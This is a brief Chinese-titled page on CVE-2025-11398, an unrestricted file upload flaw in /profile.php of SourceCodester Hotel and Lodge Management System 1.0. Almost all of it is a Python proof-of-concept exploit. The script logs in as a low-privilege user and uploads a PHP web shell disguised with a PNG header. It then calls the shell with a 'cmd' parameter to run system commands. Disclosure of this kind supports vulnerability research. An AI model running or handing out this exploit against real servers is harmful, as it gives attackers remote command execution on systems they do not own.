CVE-2025-11398 SourceCodester酒店管理系统任意文件上传漏洞

# CVE-2025-11398 - SourceCodester Hotel and Lodge Management System 1.0 # Unrestricted File Upload Vulnerability in /profile.php # PoC for exploiting the image upload functionality import requests # Target configuration TARGET_URL = "http://target-server.com" LOGIN_URL = f"{TARGET_URL}/login.php" PROFILE_URL = f"{TARGET_URL}/profile.php" UPLOAD_URL = f"{TARGET_URL}/profile.php" # Attacker credentials (low privilege account required) USERNAME = "attacker_user" PASSWORD = "attacker_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain authentication login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(LOGIN_URL, data=login_data) # Step 2: Create a malicious PHP file disguised as an image # The file contains a valid image header followed by PHP code malicious_content = b"""\x89PNG\r\n\x1a\n<?php echo "Hacked!"; system($_GET['cmd']); ?>""" files = { "image": ("shell.php", malicious_content, "image/png") } # Step 3: Upload the malicious file via the profile page upload_data = { "update": "Update" } response = session.post(UPLOAD_URL, files=files, data=upload_data) # Step 4: Access the uploaded shell to execute commands # Common upload paths: /uploads/, /images/, /img/ shell_url = f"{TARGET_URL}/uploads/shell.php?cmd=id" shell_response = session.get(shell_url) print(f"Shell response: {shell_response.text}")